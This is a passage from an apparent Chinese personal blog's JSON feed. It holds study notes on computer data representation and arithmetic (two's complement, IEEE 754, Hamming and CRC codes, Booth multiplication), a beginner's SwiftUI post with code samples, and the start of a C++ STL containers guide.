转换为二进制和十六进制。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"二进制\" data-src=\"https://upload.hawa130.com/2022/04/3917163254.jpeg#vwid=600\u0026vhei=375\" src=\"https://upload.hawa130.com/2022/04/3917163254.jpeg#vwid=600\u0026vhei=375\"\u003e\u003cfigcaption\u003e二进制\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e转换结果:\u003ccode\u003e1100001.101\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"十六进制\" data-src=\"https://upload.hawa130.com/2022/04/1071339794.jpeg#vwid=258\u0026vhei=100\" src=\"https://upload.hawa130.com/2022/04/1071339794.jpeg#vwid=258\u0026vhei=100\"\u003e\u003cfigcaption\u003e十六进制\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e转换结果:\u003ccode\u003e61.A\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"toc_241\"\u003e定点数\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e下述的 $n$ 均表示编码的位数(含符号位)。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"toc_242\"\u003e原码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e符号位:\u003c/strong\u003e0 为正,1 为负。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数值位:\u003c/strong\u003e$|X|$\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e可表示范围\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e纯整数:\u003c/strong\u003e$-(2^{n-1}-1)\\sim +(2^{n-1}-1)$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e纯小数:\u003c/strong\u003e$-(1-2^{-(n-1)})\\sim +(1-2^{-(n-1)})$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_243\"\u003e补码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e符号位:\u003c/strong\u003e0 为正,1 为负。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数值位\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e$X\\ge 0$:$X$\u003c/li\u003e\u003cli\u003e$X\\lt 0$:$2^n+X$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e可表示范围\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e纯整数:\u003c/strong\u003e$-2^{n-1}\\sim +(2^{n-1}-1)$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e纯小数:\u003c/strong\u003e$-1\\sim +(1-2^{-(n-1)})$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e负数补码求法:\u003c/strong\u003e先将 $|X|$ 用原码表示。从右往左找到第一个 1,将这一位左边的位全部取反,这一位及其右边的位保持不变。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e补码减法:\u003c/strong\u003e$\\begin{align} [X-Y]_\\text{补}\u0026amp;=[X]_\\text{补}+[-Y]_\\text{补} \\\\ \u0026amp;=[X]_\\text{补}+[[Y]_\\text{补}]_\\text{求补} \\end{align}$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_244\"\u003e反码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e符号位:\u003c/strong\u003e0 为正,1 为负。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数值位\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e$X\\ge 0$:$X$\u003c/li\u003e\u003cli\u003e$X\\lt 0$:$|X|$ 按位取反\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e可表示范围:\u003c/strong\u003e与原码相同。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e负数补码与反码的关系:\u003c/strong\u003e$[X]_\\text{补}=[X]_\\text{反}$的最低位加 1。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_245\"\u003e移码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e符号位:\u003c/strong\u003e1 为正,0 为负。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数值:\u003c/strong\u003e$[X]_\\text{移}=2^{n-1}+X$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e与补码的关系:\u003c/strong\u003e补码的\u003cstrong\u003e符号位取反\u003c/strong\u003e就是移码。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e可表示范围:\u003c/strong\u003e与补码相同。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_246\"\u003e编码与真值的关系\u003c/h3\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/3318202124.jpeg#vwid=1598\u0026vhei=500\" src=\"https://upload.hawa130.com/2022/04/3318202124.jpeg#vwid=1598\u0026vhei=500\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e由此可见,移码可以直接比较大小。\u003c/p\u003e\u003ch2 id=\"toc_247\"\u003e浮点数\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e二进制的科学计数法。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"toc_248\"\u003e规格化浮点数\u003c/h3\u003e\u003ch5 id=\"toc_249\"\u003e尾数 $M$ 形式\u003c/h5\u003e\u003cul\u003e\u003cli\u003e$M\\ge 0$:$[M]_\\text{补}=0.1\\times\\times\\cdots\\times$\u003c/li\u003e\u003cli\u003e$M\\lt 0$:$[M]_\\text{补}=1.0\\times\\times\\cdots\\times$\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"toc_250\"\u003e规格化\u003c/h5\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e左归:\u003c/strong\u003e每算数左移 1 位,阶码减 1。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e右规:\u003c/strong\u003e每算数右移 1 位,阶码加 1。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_251\"\u003eIEEE 754 标准\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003eIEEE 754 规格化尾数:1.f\u003c/strong\u003e,即 $1.\\times\\times\\cdots\\times$(包含符号位)\u003c/p\u003e\u003cp\u003e$\\text{尾数}\\times 2^\\text{阶数}$\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"IEEE 754 单精度浮点数\" data-src=\"https://upload.hawa130.com/2022/04/456034720.jpeg#vwid=684\u0026vhei=200\" src=\"https://upload.hawa130.com/2022/04/456034720.jpeg#vwid=684\u0026vhei=200\"\u003e\u003cfigcaption\u003eIEEE 754 单精度浮点数\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e阶码应为阶数的补码符号位取反\u003cstrong\u003e再减去 1\u003c/strong\u003e(比标准移码少 1)。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e图片勘误:f 为原码。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"toc_252\"\u003eBCD 码\u003c/h2\u003e\u003cp\u003e把十进制数拆成一位位数字来表示,每位使用四位二进制数来表示。\u003c/p\u003e\u003cp\u003e以常用的 8421 码为例,如 49,可拆成 4 和 9,即 \u003ccode\u003e0100\u003c/code\u003e 和 \u003ccode\u003e1001\u003c/code\u003e,故 49 的 8421 BCD 码为 \u003ccode\u003e01001001\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eBCD 码也可以参与运算。\u003c/p\u003e\u003ch2 id=\"toc_253\"\u003e检错与纠错码\u003c/h2\u003e\u003ch3 id=\"toc_254\"\u003e海明码距\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e定义:\u003c/strong\u003e将两个码字按位异或后 1 的个数。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e检错 $r$ 位:\u003c/strong\u003e$d_\\text{min}$ 至少为 $r+1$。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e纠错 $r$ 位:\u003c/strong\u003e$d_\\text{min}$ 至少为 $2r+1$。\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"toc_255\"\u003e确保具有一位纠错能力\u003c/h5\u003e\u003cp\u003e$2^k\\ge n+k+1$,其中:$n$ 为数据长度,$k$ 为校验位位数。\u003c/p\u003e\u003ch3 id=\"toc_256\"\u003e奇偶校验\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e奇校验:\u003c/strong\u003e数据中 1 的个数为\u003cstrong\u003e奇数\u003c/strong\u003e时,校验位为 0。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e偶校验:\u003c/strong\u003e数据中 1 的个数为\u003cstrong\u003e偶数\u003c/strong\u003e时,校验位为 0。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_257\"\u003e海明校验码\u003c/h3\u003e\u003ch4 id=\"toc_258\"\u003e编码\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e编码 \u003ccode\u003e10101110\u003c/code\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/1884301977.jpeg#vwid=598\u0026vhei=500\" src=\"https://upload.hawa130.com/2022/04/1884301977.jpeg#vwid=598\u0026vhei=500\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch4 id=\"toc_259\"\u003e校验与纠错\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e给定如下码字:\u003ccode\u003e010111010110\u003c/code\u003e,判断出错位置,以及纠错后的原始数据。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/2416132771.jpeg#vwid=620\u0026vhei=267\" src=\"https://upload.hawa130.com/2022/04/2416132771.jpeg#vwid=620\u0026vhei=267\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e若无出错,则校验码均通过,此时 $H_0H_1H_2H_3=0$。\u003c/p\u003e\u003cp\u003e如果只有校验位出错,则只有一个校验码不通过,此时原数据无需修正。\u003c/p\u003e\u003ch3 id=\"toc_260\"\u003e循环冗余校验码(CRC)\u003c/h3\u003e\u003ch4 id=\"toc_261\"\u003e编码\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e信息:\u003ccode\u003e1010110\u003c/code\u003e\u003c/p\u003e\u003cp\u003e生成多项式:$G(x)=x^3+x+1$\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/353297873.jpeg#vwid=568\u0026vhei=400\" src=\"https://upload.hawa130.com/2022/04/353297873.jpeg#vwid=568\u0026vhei=400\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch4 id=\"toc_262\"\u003e校验与纠错\u003c/h4\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/3309748346.jpeg#vwid=526\u0026vhei=400\" src=\"https://upload.hawa130.com/2022/04/3309748346.jpeg#vwid=526\u0026vhei=400\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e若有出错,根据余数值查询出错定位表即可得到出错的位。\u003c/p\u003e\u003ch2 id=\"toc_263\"\u003e定点数的运算\u003c/h2\u003e\u003ch3 id=\"toc_264\"\u003e加减运算\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e补码运算。\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"toc_265\"\u003e溢出及其判断\u003c/h4\u003e\u003cp\u003e由于补码表示范围有限,如果计算结果不在范围内,则发生了\u003cstrong\u003e溢出\u003c/strong\u003e。\u003c/p\u003e\u003ch5 id=\"toc_266\"\u003e双符号位(变形码)判决\u003c/h5\u003e\u003cp\u003e00 表示正,11 表示负。如果运算结果中,两个符号位不一致,则说明发生了溢出。\u003c/p\u003e\u003ch3 id=\"toc_267\"\u003e乘法运算\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eBooth 法。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$$X\\times Y$$\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e$Y_0$\u003c/th\u003e\u003cth align=\"center\"\u003e$Y_{-1}$\u003c/th\u003e\u003cth\u003e操作\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd\u003e+0,右移一位\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd\u003e+0,右移一位\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd\u003e$+[X]_\\text{补}$,右移一位\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd\u003e$+[-X]_\\text{补}$,右移一位\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e$X=-0.1101$,$Y=+0.0110$,求乘积。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$[X]_\\text{补}=11.0011$,$[-X]_\\text{补}=00.1101$(双符号补码);$[Y]_\\text{补}=0.0110$(单符号补码)。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/3672433379.jpg#vwid=593\u0026vhei=673\" src=\"https://upload.hawa130.com/2022/04/3672433379.jpg#vwid=593\u0026vhei=673\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e得 $[X\\cdot Y]_\\text{补}=1.10110010$。\u003c/p\u003e\u003ch3 id=\"toc_268\"\u003e除法运算\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e原码加减交替法。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$$|X|\\div|Y|$$\u003c/p\u003e\u003cul\u003e\u003cli\u003e余数 $R\\ge 0$,商为 1,余数左移,减 $|Y|$(加 $[-|Y|]_\\text{补}$)。\u003c/li\u003e\u003cli\u003e余数 $R\u0026lt;0$,商为 0,余数右移,加 $|Y|$。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e表格数值位扩展到 $|Y|$ 数值位的 2 倍。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e$X=+0.1001110001$,$Y=-0.10101$。求 $X\\div Y$。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$|X|=0.1001110001$,$|Y|=0.10101$,$[-|Y|]_\\text{补}=1.01011$。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/3151439783.jpg#vwid=556\u0026vhei=820\" src=\"https://upload.hawa130.com/2022/04/3151439783.jpg#vwid=556\u0026vhei=820\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e得 $[X\\div Y]_\\text{原}=1.11101$,$\\text{余数}=0.10000\\times 2^{-5}$。\u003c/p\u003e\u003ch4 id=\"toc_269\"\u003e需要恢复余数的情况\u003c/h4\u003e\u003cp\u003eR 符号为负(\u003ccode\u003e11\u003c/code\u003e),则余数需要加 $|Y|$,该操作称为\u003cstrong\u003e恢复余数\u003c/strong\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e$X=-0.1010100000$,$Y=+0.11011$,求 $X\\div Y$。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e过程如下(已省略加减交替过程)。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"恢复余数的情况\" data-src=\"https://upload.hawa130.com/2022/04/1413533926.jpeg#vwid=611\u0026vhei=356\" src=\"https://upload.hawa130.com/2022/04/1413533926.jpeg#vwid=611\u0026vhei=356\"\u003e\u003cfigcaption\u003e恢复余数的情况\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e得 $\\text{余数}=1.11000\\times 2^{-5}$(符号位与被除数一致)。\u003c/p\u003e\u003ch2 id=\"toc_270\"\u003e浮点数的运算\u003c/h2\u003e\u003ch3 id=\"toc_271\"\u003e加减运算\u003c/h3\u003e\u003col\u003e\u003cli\u003e对阶:尾数右移阶码加。\u003c/li\u003e\u003cli\u003e尾数求和/差。\u003c/li\u003e\u003cli\u003e运算结果规格化、舍入。\u003c/li\u003e\u003c/ol\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e$X=\\frac{11}{16}\\times 2^{-4}$,$Y=\\frac{35}{64}\\times 2^{-3}$,计算 $X\\pm Y$。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$X=0.101100\\times 2^{-4}$,$Y=0.100011\\times 2^{-3}$\u003c/p\u003e\u003cp\u003e$[X]_\\text{浮}=01100;0.101100$,$[Y]_\\text{浮}=01101;0.100011$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e对阶:\u003c/strong\u003e$[X]'_\\text{浮}=01101;0.010110$,$[Y]_\\text{浮}=01101;0.100011$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e尾数求和/差\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e求和\u003cbr\u003e $\\begin{array}{ccc} \u0026amp;00.010110 \\\\ +\u0026amp;00.100011 \\\\ \\hline \u0026amp;00.111001 \\end{array}$\u003c/li\u003e\u003cli\u003e求差\u003cbr\u003e $\\begin{array}{ccc} \u0026amp;00.010110 \\\\ -\u0026amp;11.011101 \\\\ \\hline \u0026amp;11.110011 \\end{array}$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e规格化:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e$0.111001$ 已经是规格化尾数。$[X+Y]_\\text{浮}=01101;0.111001$。\u003c/li\u003e\u003cli\u003e$1.110011$ 需要左归,左移 2 位,阶码减 2。$[X-Y]_\\text{浮}=01011;1.001100$。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e无需进行舍入处理。\u003c/p\u003e\u003ch3 id=\"toc_272\"\u003e乘除运算\u003c/h3\u003e\u003col\u003e\u003cli\u003e阶码加/减。\u003c/li\u003e\u003cli\u003e尾数乘/除。\u003c/li\u003e\u003cli\u003e运算结果规格化、舍入。\u003c/li\u003e\u003c/ol\u003e\n","url":"https://hawa130.com/archives/796/"},{"title":"从零开始的 SwiftUI 之旅","time":"2022-04-02T15:52:00Z","content":"最近算是真正入门了 Swift 这门语言。初识 Swift现代 iOS App 的开发,首选用 Swift 进行开发。Swift 是一门很年轻的编程语言,用于构建用户界面的 SwiftUI 更是...\u003chr /\u003e\n\u003cp\u003e最近算是真正入门了 Swift 这门语言。\u003c/p\u003e\u003ch2 id=\"toc_273\"\u003e初识 Swift\u003c/h2\u003e\u003cp\u003e现代 iOS App 的开发,首选用 Swift 进行开发。\u003c/p\u003e\u003cp\u003eSwift 是一门很年轻的编程语言,用于构建用户界面的 SwiftUI 更是等到 2019 年才发布,所以说生态还在慢慢发展,很多轮子也需要自己造,中文文档也相当缺失。所以在开发过程中,需要借助于 Google 的英文搜索来查找和解决问题,使用国内搜索引擎可能真的什么也搜索不到。\u003c/p\u003e\u003cp\u003e不过好在想要入门这门语言,还是有很多中文资料的。这里推荐 \u003ca href=\"https://swiftgg.gitbook.io/swift/\"\u003eSwiftGG\u003c/a\u003e 作为入门。\u003c/p\u003e\u003cp\u003eSwift 语法上的问题在此处就不赘述了。它是一门设计比较完备的现代编程语言,所以相对脚本语言会更难以入门。但与此同时,这样的门槛也提高了程序的安全性,很多错误可以在编写代码时,通过静态代码检查获得提示。\u003c/p\u003e\u003cp\u003e作为 C++ 选手,Swift 很多语法特性对我来说还是很新颖的。比如结构体的计算属性。\u003c/p\u003e\u003ch2 id=\"toc_274\"\u003e初见 SwiftUI\u003c/h2\u003e\u003cp\u003e打开 Xcode,新建一个应用程序项目,映入眼帘的便是右侧预览窗口中的「Hello World」。可以试试右边的检查器,看看文本的变化。点击右上角的「+」能够添加新组件。在开发过程中,Xcode 的实时预览确实相当强大。不过作为 VSCode 的老用户,快捷键上手还需要一段时间,「Editor」菜单中有许多编辑功能,可以看看它们的快捷键,比如我第一个学到的是 control+shift 进行多光标选择操作。\u003c/p\u003e\u003cp\u003e我还是推荐读者去看看\u003ca href=\"https://developer.apple.com/tutorials/swiftui\"\u003e苹果官方的教程\u003c/a\u003e,跟着一步步来大概就能明白这种 UI 构建的大致思路。不过 SwiftUI 作为新的 UI 框架还是太年轻了,有一些特性还是需要和老的 UIKit 结合,这里教程也有提到。\u003c/p\u003e\u003cp\u003e作为设计之初就考虑到响应式的界面框架,SwiftUI 生成跨 iPhone、iPad、Mac 平台的 UI 还算方便,但也需要根据各个平台进行微调。\u003c/p\u003e\u003cp\u003eSwiftUI 采用声明式,这也与现代用户界面框架 Flutter 一致。作为曾经的 React 选手,我对这种界面构造方式还算比较有亲切感,但上手时又发现了各种各样的问题。\u003c/p\u003e\u003ch3 id=\"toc_275\"\u003e在 body 属性中选择性显示\u003c/h3\u003e\u003cp\u003eSwiftUI 显示的内容都需要写在 body 这个计算属性内部。\u003c/p\u003e\u003cp\u003e写 React 时,根据某个条件渲染组件,我通常为了方便直接用三目表达式返回不同的组件,也比较方便。但是在 SwiftUI 这种强类型语言环境下的条件渲染却成了一个麻烦事,因为不同的组件并非同一个类型,显然同一个函数/计算属性并能返回不同的类型,这时就需要借助 \u003ccode\u003eAnyView\u003c/code\u003e 来渲染了,它能将 UI 组件转换为同一个类型,即 \u003ccode\u003eAnyView\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e在下面的例子中,如果 \u003ccode\u003econdition\u003c/code\u003e 属性为真,则 \u003ccode\u003eSampleView\u003c/code\u003e 渲染为 \u003ccode\u003eComponentA\u003c/code\u003e,反之渲染为 \u003ccode\u003eComponentB\u003c/code\u003e。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-swift\"\u003estruct SampleView: View {\n var condition: Bool\n \n var body: some View {\n if condition {\n AnyView(ComponentA())\n } else {\n AnyView(ComponentB())\n }\n }\n}\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_276\"\u003eForEach 的使用\u003c/h3\u003e\u003cp\u003e当你渲染多个组件时,\u003ccode\u003eForEach\u003c/code\u003e 是必不可少的。但是有时又会出现很多奇怪的报错。\u003c/p\u003e\u003cp\u003e看到 ForEach,理所当然就是迭代遍历一个数组。但是当你往括号里填入数组时,会提示你数组内的元素必须要是「Identifiable」的。一个类型是 Identifiable 的,意味着它一定有 id 这个属性。\u003c/p\u003e\u003cp\u003e比如像下面一样定义一个 \u003ccode\u003eLandmark\u003c/code\u003e (地标)结构体,想要用优雅的方式用列表显示许多地标的行组件(\u003ccode\u003eLandmarkRow\u003c/code\u003e),这个 \u003ccode\u003eLandmark\u003c/code\u003e 结构体就需要有 id 这个属性。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-swift\"\u003estruct Landmark: Identifiable {\n var id: Int // 需要 id 属性\n var name: String\n}\n\nstruct LandmarkList: View {\n var landmarks: [Landmark]\n\n var body: some View {\n List {\n ForEach(landmarks) { landmark in\n LandmarkRow(landmark: landmark)\n }\n }\n }\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e不过这里有一个变通办法,就是数组下标访问,\u003ccode\u003eForEach\u003c/code\u003e 的参数里面,参数的 \u003ccode\u003eid: \\.self\u003c/code\u003e 记得写上,不然会出现警告「Non-constant range: argument must be an integer literal」(也不知道为什么一定要指定 id)。这样 \u003ccode\u003eLandmark\u003c/code\u003e 结构体就不需要 id 属性了。但是这样看起来没那么优雅了,但我感觉在实际开发中,没有 id 的数据可能更常见,所以这种写法可能会更多些。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-swift\"\u003estruct Landmark: {\n var name: String\n}\n\nstruct LandmarkList: View {\n var landmarks: [Landmark]\n\n var body: some View {\n List {\n ForEach(0 ..\u0026lt; landmarks.count, id: \\.self) { index in\n LandmarkRow(landmark: landmarks[index])\n }\n }\n }\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003ccode\u003eForEach\u003c/code\u003e 还有一个奇怪地方,括号里面写闭区间是报错的。不过作为初学者,我也理解不了里面的原因,就这么记着吧。总之呢,写 \u003ccode\u003eForEach\u003c/code\u003e 加上 id 参数总归是没错的。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-swift\"\u003eForEach(0 ... 10) // 报错\nForEach(0 ..\u0026lt; 11) // 无错误\nForEach(0 ... 10, id: \\.self) // 无错误\nForEach(0 ..\u0026lt; 11, id: \\.self) // 无错误\u003c/code\u003e\u003c/pre\u003e\n","url":"https://hawa130.com/archives/789/"},{"title":"STL 使用指南 — 丰富实用的容器","time":"2022-02-22T08:42:00Z","content":"各种各样的 STL 容器,承担着各式各样的使命。上篇文章的容器只提到了栈(stack),它是一种十分简单的容器,并不算什么强大的容器,功能很少。上篇文章仅仅是入门时的小打小闹罢了。本篇文章将会想...\u003chr /\u003e\n\u003cp\u003e各种各样的 STL 容器,承担着各式各样的使命。\u003c/p\u003e\u003cp\u003e上篇文章的容器只提到了栈(\u003ccode\u003estack\u003c/code\u003e),它是一种十分简单的容器,并不算什么强大的容器,功能很少。\u003c/p\u003e\u003cp\u003e上篇文章仅仅是入门时的小打小闹罢了。本篇文章将会想你介绍更多的、功能强大的 STL 容器,能够让你见识到 STL 的真正实力。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e本文适用人群:对面向对象编程语言有了解的人,有 C++ 基础更佳。\u003cbr\u003e如果你还对此不了解,请移步上篇的\u003ca href=\"/archives/751/\"\u003e入门文章\u003c/a\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"toc_277\"\u003e通用方法\u003c/h2\u003e\u003cp\u003e下面的通用方法,如无特殊说明,是所有 STL 容器均具有的,请务必记住哦(只有下面三个)。意味着所有的 STL 容器都能使用它们。\u003c/p\u003e\u003cp\u003e这里以 c 作为容器名举例。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ec.empty(); // -\u0026gt; bool 容器是否为空\nc.size(); // -\u0026gt; size_t (int 或其他数值类型) 容器大小(元素个数)\nc.clear(); // -\u0026gt; void 清空容器\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如无特殊说明,STL 容器都是有迭代器的。如果你对这两个都不了解,请\u003ca href=\"/archives/751/#toc_3\"\u003e阅读上篇文章\u003c/a\u003e。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ec.begin(); // -\u0026gt; iterator 头迭代器\n// 如果想要取容器里第三个元素的位置,可以使用 c.begin() + 2\n// 容器的第一个元素相当于是 c.begin() + 0\n\nc.end(); // -\u0026gt; iterator 尾迭代器\nc.rbegin(); // -\u0026gt; reverse_iterator 反向头迭代器\nc.rend(); // -\u0026gt; reverse_iterator 反向尾迭代器\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如无特殊说明,STL 容器都是能够使用 algorithm 提供的算法函数的。例如:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003esort(c.begin(), c.end()); // 将容器 c 内的元素从小到大排序\nreverse(c.begin(), c.end()); // 将容器 c 的内容左右翻转\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e更多 algorithm 用法请参考 \u003ca href=\"https://www.cplusplus.com/reference/algorithm/\"\u003ecplusplus.com\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_278\"\u003e基本容器\u003c/h2\u003e\u003cp\u003e这些容器都是自己手写也比较好实现的,利用 STL 可以偷懒。\u003c/p\u003e\u003ch3 id=\"toc_279\"\u003e队列与栈\u003c/h3\u003e\u003cp\u003e关于栈的介绍,请移步\u003ca href=\"/archives/751/#toc_2\"\u003e上文\u003c/a\u003e。\u003c/p\u003e\u003ch4 id=\"toc_280\"\u003e队列(queue)\u003c/h4\u003e\u003cp\u003e队列是先进先出的,就像现实生活中的队伍一样,队首的人处理完成事情之后会离开(pop)并轮到下一个。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;queue\u0026gt;\n\nusing namespace std;\u003c/code\u003e\u003c/pre\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e注意:\u003c/strong\u003e所有 STL 容器都是在 std 命名空间内的,所以想要省事请加上 \u003ccode\u003eusing namespace 